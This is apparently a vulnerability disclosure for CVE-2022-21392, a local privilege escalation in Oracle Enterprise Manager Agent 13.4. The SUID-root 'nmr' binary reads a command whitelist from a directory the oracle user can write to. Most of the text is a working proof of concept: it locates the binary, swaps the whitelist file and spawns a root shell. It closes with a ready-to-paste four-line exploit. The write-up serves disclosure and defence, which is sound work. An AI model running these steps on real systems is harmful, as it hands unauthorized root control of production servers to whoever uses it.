

Oracle Enterprise Manager Disclosures

Environment:

- Agent13c v13.4.0.0.0

Findings:

1. CVE-2022-21392: Local Privilege Escalation via NMR SUID

Description:

In Oracle installations, where the “nmr” binary is present and SUID-ed as “root”, due to insecure directory permissions, the “oracle” user can elevate his/her privileges to that of the “root” user by replacing the “nmr_macro_list” file.

Proof of Concept:

In order to find the location of the SUID-ed “nmr” binary a “find” command such as the following may be used:

```
find / -4000 -ls 2>/dev/null
```

```
423917635 4676 -rwsr-x--- 1 root oinstall 4786506 iul 5 11:59 /u01/app/oracle/product/agent13c/agent_13.4.0.0.0/sbin/nmo
423917636 104 -rwsr-x--- 1 root oinstall 105619 iul 5 11:59 /u01/app/oracle/product/agent13c/agent_13.4.0.0.0/sbin/nmhs
423917637 52 -rwsr-x--- 1 root oinstall 52748 iul 5 11:59 /u01/app/oracle/product/agent13c/agent_13.4.0.0.0/sbin/nmb
423917639 104 -rwsr-x--- 1 root oinstall 104376 iul 5 11:59 /u01/app/oracle/product/agent13c/agent_13.4.0.0.0/sbin/nmr
```

In order to prevent malicious users from running arbitrary commands as the “root” user, the “nmr” binary uses a whitelist of allowed commands stored in the “nmr_macro_list” file.

```
[oracle@ ] sbin]$ ls -la
total 37812
drwxr-xr-x. 2 oracle oinstall 4096 iul 5 11:59 .
drwxr-xr-x. 27 oracle oinstall 4096 oct 15 09:51 ..
-rwsr-x---. 1 root oinstall 52748 iul 5 11:59 nmb
-rwx--x--x. 1 oracle oinstall 52748 ian 26 2020 nmb.0
-rwxr-xr-x. 1 root oinstall 50147 iul 5 11:59 nmgshe
-rwx--x--x. 1 oracle oinstall 50147 ian 26 2020 nmgshe.0
-rwsr-x---. 1 root oinstall 105619 iul 5 11:59 nmhs
-rwx--x--x. 1 oracle oinstall 105619 ian 26 2020 nmhs.0
-rwsr-x---. 1 root oinstall 4786506 iul 5 11:59 nmo
-rwx--x--x. 1 oracle oinstall 4786506 ian 26 2020 nmo.0
-rwx--x--x. 1 oracle oinstall 4703258 ian 26 2020 nmoconf
-rwxr-xr-x. 1 root oinstall 4786506 iul 5 11:59 nmo.new.bak
-rwxr-xr-x. 1 root oinstall 4708170 iul 5 11:59 nmopdp
-rwx--x--x. 1 oracle oinstall 4708170 ian 26 2020 nmopdp.0
-rw-r-----. 1 root oinstall 188 iul 5 11:59 nmo_public_key.txt
-rwxr-xr-x. 1 root oinstall 4708170 iul 5 11:59 nmosudo
-rwx--x--x. 1 oracle oinstall 4708170 ian 26 2020 nmosudo.0
-rwsr-x---. 1 root oinstall 104376 iul 5 11:59 nmr
-rwx-----. 1 oracle oinstall 104376 ian 26 2020 nmr.0
-rwx-----. 1 oracle oinstall 34250 ian 26 2020 nmrconf
-rw-r-----. 1 root oinstall 10073 dec 3 2019 nmr_macro_list
-rwx-----. 1 root root 104376 iul 5 11:59 nmr.new.bak
```

Although the “nmr_macro_list” is owned and writable only by the “root” user, because the current directory (“/u01/app/oracle/product/agent13c/agent_13.4.0.0.0/sbin/”) is writable by the “oracle” user, we are able to abuse this to move or delete the file and replace it with our own that contains arbitrary content:

```
[oracle@ ] sbin]$ id
uid=54321(oracle) gid=54321(oinstall) groups=54321(oinstall),2030(gweb),54322(dba),54323(oper),54324(backupdba),54325(dgdba),54326(kmdba),54330(racdba),54332(asmdba) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[oracle@ ] sbin]$ mv nmr_macro_list nmr_macro_list.bak
[oracle@ ] sbin]$ vi nmr_macro_list
[oracle@ ] sbin]$
[oracle@ ] sbin]$ ./nmr ID
uid=0(root) gid=54321(oinstall) groups=54321(oinstall),2030(gweb),54322(dba),54323(oper),54324(backupdba),54325(dgdba),54326(kmdba),54330(racdba),54332(asmdba) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
```

```
[oracle@ ] sbin]$ cat nmr_macro_list
ID: /bin/id
SHELL: /bin/bash
[oracle@ ] sbin]$
[oracle@ ] sbin]$ ls -la nmr
-rwsr-x---. 1 root oinstall 104376 iul  5 11:59 nmr
[oracle@ ] sbin]$
[oracle@ ] sbin]$ ./nmr SHELL
[root@ ] sbin]$ id
uid=0(root) gid=54321(oinstall) groups=54321(oinstall),2030(gweb),54322(dba),54323(oper),54324(backupdba),54325(dgdba),54326(kmdba),54330(racdba),54332(asmdba) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[root@ ] sbin]$
```

Commands for quick testing:

```
cd /u01/app/oracle/product/agent13c/agent_13.*/sbin/
mv nmr_macro_list nmr_macro_list.bak
echo 'SHELL: /bin/bash' > nmr_macro_list
./nmr SHELL
```

Note: Depending on the Oracle solution used and/or how the environment is setup, the “nmr” binary may be in a path different to “/u01/app/oracle/product/agent13c/agent_13.*/sbin/”.